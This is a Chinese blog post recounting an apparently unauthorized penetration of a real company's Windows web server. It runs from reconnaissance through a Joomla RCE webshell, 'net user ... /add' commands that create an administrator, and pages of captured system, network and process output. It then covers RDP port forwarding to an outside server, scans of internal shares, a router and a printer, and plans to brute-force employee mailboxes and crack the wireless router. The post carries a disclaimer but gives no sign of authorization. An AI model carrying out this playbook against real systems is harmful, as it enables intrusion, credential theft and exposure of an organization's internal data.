浅谈渗透测试实战

最近,因为工作原因一直也没时间更新博客。好不容易忙完了一阵,眼看就要过年了,先提前祝大家新年快乐!

很多时候,在看白帽子们的漏洞的时候总有一种感觉就是把web渗透简单地理解成了发现web系统漏洞进而获取webshell。其实,个人感觉一个完整的渗透(从黑客的角度去思考问题)应该是以尽一切可能获取目标的系统或者服务器的最高权限,尽可能的发现足够多的敏感信息。这个过程应该包括但不限于以下几个方面:

  1. 信息刺探: 待渗透目标的系统,人员,组织信息等
  2. 漏洞侦测: 所有与待渗透目标相关的系统的漏洞侦测
  3. 系统提权: 利用现有的信息对已经获取的系统进行提权从而获取最高控制权限
  4. 内网渗透: 利用以获取的系统作为跳板进一步扩大战果,重复以上三步获取更多的系统权限和内网敏感信息

下面,是我分享地一个相对完整的渗透实战,仅供大家交流学习,文中利用的漏洞和所有的操作在本文公开以前均已被修复和恢复,请大家切勿用于非法目的。

作为渗透测试的第一步,也是最重要地一步便是信息刺探。孙子兵法有云:“知己知彼,百战不殆”。

首先是选择实战的目标站点,搜集到的信息如下:

URL: http://***.**.cn/

外网IP地址:58.246.**.**

开放的端口(nmap): 80, 443

注册信息(whois):
Domain Name: ***.***.***
Registrant: 上海********有限责任公司
Registrant Contact Email: cs@onlinebusiness.com.cn
Sponsoring Registrar: 北京中科三方网络技术有限公司
Name Server: f1g1ns1.dnspod.net
Name Server: f1g1ns2.dnspod.net
Registration Time: 2001-07-26 00:00:00
Expiration Time: 2022-07-26 00:00:00

子域名信息:
116.236.199.**   mail2.***.**.cn
180.166.3.**      import.***.**.cn
58.246.81.**      query.***.**.cn
58.246.81.**      mail.***.**.cn

邮箱:
liunian@***.**.cn

从以上搜集到的信息,我们可以简单的分析一下接下来的渗透思路:

  1. 查找主站漏洞并利用
  2. 利用子站漏洞旁注进入系统搜集更多有用信息

按照上面的思路首先尝试寻找主站的漏洞,通常可通过AWVS或者其他的扫描工具做初步的扫描,看看会不会有可以利用的点。但是最简单直接的方法是打开这个站点,尽可能仔细的浏览每一可能有价值的页面,如下:

有没有发现,其实我们可以观察到一些很有价值的信息。从上面的信息,我们可以发现这个主站是基于Joomla CMS的,这个其实对我们接下来的渗透很有帮助,我们都知道最近爆出了Joomla的RCE和SQL注入漏洞,那么我们就可以去尝试看看这个站是否修复了这些漏洞。

于是,我们可以使用已经公开的exp(http://avfisher.win/archives/287)对其进行测试, 如下所示:

[+] vuls found! url: http://***.***.cn/, System: Windows NT EESTSWEB01 6.1 build 7601 (Windows Server 2008 R2 Enterprise Edition Service Pack 1) i586 , document_root: C:/xampp/htdocs/*** , script_filename: C:/xampp/htdocs/***/index.php , shell_file: http://***.***.cn/***/***/***.php

果然漏洞确实存在,而且我们也顺利地getshell了,那么是不是意味着我们的渗透已经结束了呢?no,no,no(重要的事情说3遍),其实真正的渗透才刚刚开始。

我们发现这是一个Windows 2008 R2的服务器,既然我们已经拿到了webshell,接下来考虑的事情就应该是,我能不能获得管理员权限?

首先,在菜刀中执行命令: whoami 看看现在的shell是在什么权限下运行的,如下:

可以看出我们的shell是在system权限下运行的,那么也就表示我们可以很容易的添加一个管理员帐户,命令如下:

net user <user> <password> /add
net localgroup administrators <user> /add

接下来,我们就需要经一步查看和收集系统的一些常见信息来帮助我们进一步的内网渗透,通常包括以下信息:

1. 系统信息 – systeminfo

主机名:           ***TSWEB01
OS 名称:          Microsoft Windows Server 2008 R2 Enterprise 
OS 版本:          6.1.7601 Service Pack 1 Build 7601
OS 制造商:        Microsoft Corporation
OS 配置:          独立服务器
OS 构件类型:      Multiprocessor Free
注册的所有人:     Windows 用户
注册的组织:       
产品 ID:          00486-OEM-8400691-20006
初始安装日期:     2015/5/14, 22:54:49
系统启动时间:     2015/8/3, 16:20:27
系统制造商:       Microsoft Corporation
系统型号:         Virtual Machine
系统类型:         x64-based PC
处理器:           安装了 2 个处理器。
                  [01]: Intel64 Family 6 Model 63 Stepping 2 GenuineIntel ~1598 Mhz
                  [02]: Intel64 Family 6 Model 63 Stepping 2 GenuineIntel ~1598 Mhz
BIOS 版本:        American Megatrends Inc. 090006 , 2012/5/23
Windows 目录:     C:\Windows
系统目录:         C:\Windows\system32
启动设备:         \Device\HarddiskVolume1
系统区域设置:     zh-cn;中文(中国)
输入法区域设置:   zh-cn;中文(中国)
时区:             (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量:     2,048 MB
可用的物理内存:   576 MB
虚拟内存: 最大值: 4,095 MB
虚拟内存: 可用:   2,647 MB
虚拟内存: 使用中: 1,448 MB
页面文件位置:     C:\pagefile.sys
域:               WORKGROUP
登录服务器:       暂缺
修补程序:         安装了 1 个修补程序。
                  [01]: KB976902
网卡:             安装了 1 个 NIC。
                  [01]: Microsoft 虚拟机总线网络适配器
                      连接名:      本地连接
                      启用 DHCP:   否
                      IP 地址
                        [01]: 192.168.0.10
                        [02]: fe80::98f7:e8a:3eeb:ff6

2. IP信息 – ipconfig /all

Windows IP 配置

   主机名  . . . . . . . . . . . . . : ***TSWEB01
   主 DNS 后缀 . . . . . . . . . . . : 
   节点类型  . . . . . . . . . . . . : 混合
   IP 路由已启用 . . . . . . . . . . : 否
   WINS 代理已启用 . . . . . . . . . : 否

以太网适配器 本地连接:

   连接特定的 DNS 后缀 . . . . . . . : 
   描述. . . . . . . . . . . . . . . : Microsoft 虚拟机总线网络适配器
   物理地址. . . . . . . . . . . . . : 00-15-5D-00-02-01
   DHCP 已启用 . . . . . . . . . . . : 否
   自动配置已启用. . . . . . . . . . : 是
   本地链接 IPv6 地址. . . . . . . . : fe80::98f7:e8a:3eeb:ff6%11(首选) 
   IPv4 地址 . . . . . . . . . . . . : 192.168.0.10(首选) 
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.0.230
   DHCPv6 IAID . . . . . . . . . . . : 234886493
   DHCPv6 客户端 DUID  . . . . . . . : 00-01-00-01-1C-E6-6D-9C-00-15-5D-00-02-01
   DNS 服务器  . . . . . . . . . . . : 192.168.0.1
   TCPIP 上的 NetBIOS  . . . . . . . : 已启用

隧道适配器 isatap.{ADD2E201-9C5D-480F-8E29-F722627ABA6E}:

   媒体状态  . . . . . . . . . . . . : 媒体已断开
   连接特定的 DNS 后缀 . . . . . . . : 
   描述. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter
   物理地址. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP 已启用 . . . . . . . . . . . : 否
   自动配置已启用. . . . . . . . . . : 是

隧道适配器 Teredo Tunneling Pseudo-Interface:

   连接特定的 DNS 后缀 . . . . . . . : 
   描述. . . . . . . . . . . . . . . : Microsoft Teredo Tunneling Adapter
   物理地址. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP 已启用 . . . . . . . . . . . : 否
   自动配置已启用. . . . . . . . . . : 是
   IPv6 地址 . . . . . . . . . . . . : 2001:0:7834:496d:18cf:134e:3f57:fff5(首选) 
   本地链接 IPv6 地址. . . . . . . . : fe80::18cf:134e:3f57:fff5%18(首选) 
   默认网关. . . . . . . . . . . . . : ::
   TCPIP 上的 NetBIOS  . . . . . . . : 已禁用

3. 开放的端口信息 – netstat -an

活动连接

  协议  本地地址          外部地址        状态
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:443            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:10050          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49152          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49153          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49154          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49155          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49156          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49157          0.0.0.0:0              LISTENING
  TCP    192.168.0.10:80        125.39.30.131:11235    ESTABLISHED
  TCP    192.168.0.10:139       0.0.0.0:0              LISTENING
  TCP    192.168.0.10:10050     192.168.0.11:40635     TIME_WAIT
  TCP    192.168.0.10:10050     192.168.0.11:40637     TIME_WAIT
  TCP    192.168.0.10:10050     192.168.0.11:40645     TIME_WAIT
  TCP    192.168.0.10:10050     192.168.0.11:40656     TIME_WAIT
  TCP    192.168.0.10:10050     192.168.0.11:40755     TIME_WAIT
  TCP    192.168.0.10:10050     192.168.0.11:40786     TIME_WAIT
  TCP    192.168.0.10:10050     192.168.0.11:40798     TIME_WAIT
  TCP    192.168.0.10:10050     192.168.0.11:40811     TIME_WAIT
  TCP    192.168.0.10:10050     192.168.0.11:40829     TIME_WAIT
  TCP    192.168.0.10:10050     192.168.0.11:40945     TIME_WAIT
  TCP    192.168.0.10:10050     192.168.0.11:40980     TIME_WAIT
  TCP    192.168.0.10:10050     192.168.0.11:40986     TIME_WAIT
  TCP    192.168.0.10:10050     192.168.0.11:40991     TIME_WAIT
  TCP    192.168.0.10:10050     192.168.0.11:41006     TIME_WAIT
  TCP    192.168.0.10:10050     192.168.0.11:41115     TIME_WAIT
  TCP    192.168.0.10:10050     192.168.0.11:41148     TIME_WAIT
  TCP    192.168.0.10:10050     192.168.0.11:41161     TIME_WAIT
  TCP    192.168.0.10:10050     192.168.0.11:41171     TIME_WAIT
  TCP    192.168.0.10:10050     192.168.0.11:41187     TIME_WAIT
  TCP    192.168.0.10:10050     192.168.0.11:41306     TIME_WAIT
  TCP    [::]:80                [::]:0                 LISTENING
  TCP    [::]:135               [::]:0                 LISTENING
  TCP    [::]:443               [::]:0                 LISTENING
  TCP    [::]:445               [::]:0                 LISTENING
  TCP    [::]:3306              [::]:0                 LISTENING
  TCP    [::]:3389              [::]:0                 LISTENING
  TCP    [::]:10050             [::]:0                 LISTENING
  TCP    [::]:47001             [::]:0                 LISTENING
  TCP    [::]:49152             [::]:0                 LISTENING
  TCP    [::]:49153             [::]:0                 LISTENING
  TCP    [::]:49154             [::]:0                 LISTENING
  TCP    [::]:49155             [::]:0                 LISTENING
  TCP    [::]:49156             [::]:0                 LISTENING
  TCP    [::]:49157             [::]:0                 LISTENING
  TCP    [::1]:3306             [::1]:65055            TIME_WAIT
  TCP    [::1]:3306             [::1]:65056            TIME_WAIT
  TCP    [::1]:3306             [::1]:65057            TIME_WAIT
  TCP    [::1]:65055            [::1]:3306             TIME_WAIT
  TCP    [::1]:65056            [::1]:3306             TIME_WAIT
  TCP    [::1]:65057            [::1]:3306             TIME_WAIT
  TCP    [::1]:65058            [::1]:3306             TIME_WAIT
  TCP    [::1]:65059            [::1]:3306             TIME_WAIT
  UDP    0.0.0.0:500            *:*                    
  UDP    0.0.0.0:4500           *:*                    
  UDP    0.0.0.0:5355           *:*                    
  UDP    192.168.0.10:137       *:*                    
  UDP    192.168.0.10:138       *:*                    
  UDP    [::]:500               *:*                    
  UDP    [::]:4500              *:*                    
  UDP    [::]:5355              *:*   

4. 运行的进程信息 – tasklist

映像名称                       PID 会话名              会话#       内存使用 
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0         24 K
System                           4 Services                   0        364 K
smss.exe                       492 Services                   0      1,612 K
csrss.exe                      576 Services                   0      8,184 K
wininit.exe                    628 Services                   0      5,884 K
services.exe                   728 Services                   0     13,224 K
lsass.exe                      736 Services                   0     27,344 K
lsm.exe                        744 Services                   0      7,500 K
svchost.exe                    836 Services                   0     11,872 K
svchost.exe                    916 Services                   0      9,888 K
svchost.exe                   1000 Services                   0     22,876 K
svchost.exe                    192 Services                   0     46,352 K
svchost.exe                    592 Services                   0     17,884 K
svchost.exe                    520 Services                   0     22,124 K
svchost.exe                    932 Services                   0     21,616 K
svchost.exe                   1084 Services                   0     14,688 K
spoolsv.exe                   1248 Services                   0     20,832 K
vmicsvc.exe                   1280 Services                   0      7,188 K
vmicsvc.exe                   1332 Services                   0     10,788 K
vmicsvc.exe                   1356 Services                   0      5,200 K
vmicsvc.exe                   1384 Services                   0      5,540 K
vmicsvc.exe                   1408 Services                   0      5,464 K
httpd.exe                     1456 Services                   0     18,144 K
svchost.exe                   1492 Services                   0     10,124 K
mysqld.exe                    1540 Services                   0    474,496 K
svchost.exe                   1636 Services                   0      3,740 K
zabbix_agentd.exe             1708 Services                   0      8,416 K
httpd.exe                     2064 Services                   0    204,668 K
svchost.exe                   2748 Services                   0     10,340 K
svchost.exe                   2784 Services                   0      6,744 K
svchost.exe                   2716 Services                   0      5,560 K
msdtc.exe                      572 Services                   0      8,416 K
csrss.exe                     3428 Console                    2      7,100 K
winlogon.exe                  2704 Console                    2      5,892 K
LogonUI.exe                   3052 Console                    2     17,080 K
mmc.exe                       1124 Services                   0     38,828 K
csrss.exe                     1808 RDP-Tcp#0                  1     17,060 K
winlogon.exe                   812 RDP-Tcp#0                  1      7,704 K
taskhost.exe                  5040 RDP-Tcp#0                  1      8,212 K
rdpclip.exe                   3608 RDP-Tcp#0                  1      8,072 K
dwm.exe                       4772 RDP-Tcp#0                  1      7,032 K
explorer.exe                  4968 RDP-Tcp#0                  1     79,612 K
cmd.exe                       4920 RDP-Tcp#0                  1      3,820 K
conhost.exe                   4624 RDP-Tcp#0                  1      6,052 K
xampp-control.exe             4364 RDP-Tcp#0                  1     15,992 K
taskmgr.exe                   4548 RDP-Tcp#0                  1     12,048 K
TrustedInstaller.exe          3188 Services                   0      9,748 K
cmd.exe                       3920 Services                   0      4,016 K
conhost.exe                   3944 Services                   0      3,668 K
cmd.exe                       2988 Services                   0      4,028 K
tasklist.exe                  5036 Services                   0      6,148 K
WmiPrvSE.exe                  3620 Services                   0      7,556 K

5. 局域网中公开的文件共享 – net view

服务器名称            注解

-------------------------------------------------------------------------------
\\***HQAP02                                                                    
\\***HR                eeshr                                                   
\\***TS006                                                                     
\\***TSWEB01           Web Server                                              
\\***TSWEB02                                                                   
\\***WEBSQL02                                                                  
\\FO**OG               forlog share                                            
\\FO**OG-IIS                                                                   
\\JE**RY                JERRY                                                   
\\SMI***NGM-2511FC                                                              
命令成功完成。

6. 局域网中的域的信息 – net view /domain

Domain

-------------------------------------------------------------------------------
***                  
WORKGROUP            
命令成功完成。

分析并提取有用信息:

主机名: ***TSWEB01  
内网IP: 192.168.0.10 
内网网关: 192.168.0.230
操作系统: Windows 2008 R2
所在域: WORKGROUP
杀毒软件:未发现
WEB服务器组件: XAMPP
端口: 80(HTTP), 3306(MySQL), 3389(RDP)
局域网所有的域: ***, WORKGROUP

根据上面的分析,我们发现目标服务器已经开放了RDP(3389)但是服务器是在内网我们无法直接外连。既然如此,我们可以考虑端口转发到我们自己的外网服务器然后在连接。

第一步, 上传端口转发工具(可以参考http://avfisher.win/archives/318

第二步,外网服务器开启端口监听端口5001和5002

第三步,内网服务器开启端口转发,将本地端口3389转发到外网服务器监听的端口5002上

第四步,发起RDP外连外网服务器的端口5001

现在,我们已经成功地利用端口转发并RDP连接到了内网这台服务器上了。

打开XAMPP,我们可以很容易的查看网站的数据库数据:

为了进一步渗透内网,我们需要对内网进行扫描,看看内网开启了哪些服务,这里我推荐一款快速扫描内网的工具(MyLanViewer),结果如下:

内网的一些共享目录:(各种内部资料和信息)

一些内网的系统:

私有云云存储管理系统:(可以为共享目录设置权限)

无线路由器:(内网流量嗅探和截取)

打印机:(获取到了部分企业联系人的通讯录)

事实上,至此整个渗透仍旧没有结束,我们目前只是获得了一台WORKGROUP的服务器,而实际上仍旧有多台服务器在域里,那么我们接下来该怎么突破呢?

其实可利用的思路还有很多,比如:

1. 结合上面我们在内网扫到的通讯录以及我们之前搜集到的子域名邮箱 mail.***.**.cn(见0x01),我们可以先根据邮箱地址生成一个密码字典进行暴力破解,看看能不能在用户的邮箱中获取其他有用的信息

2. 继续挖掘和分析其他的子站可能存在的漏洞继而逐步突破

3. 尝试破解上面获得的无线路由器密码嗅探网络流量获取企业员工的用户名和密码

在此就不再深入下去了!总之,渗透是一门特别的艺术,必须善于运用一切已获取的信息不断变换思路最终达成目的。

渗透是一个特别需要经验,细心和耐心的工作,你必须从黑客的角度去考虑每一个可能存在的漏洞进而利用并扩大战果。

总结上面的这次实战的结果,可以简单概括成以下几点:

  1. 耐心: 必须有足够的耐心去搜集目标的一切可能相关的信息
  2. 细心: 仔细地观察和了解你的目标,不放过每一个细节,从细节中获得突破口
  3. 思路: 善于总结和归纳所有的已知信息,并结合在平时积累的各种渗透思路进一步扩大战果
  4. 总结: 把每次实战中接触和学习到的东西总结起来并从中提取出实用的思路以便下次实战中的再次利用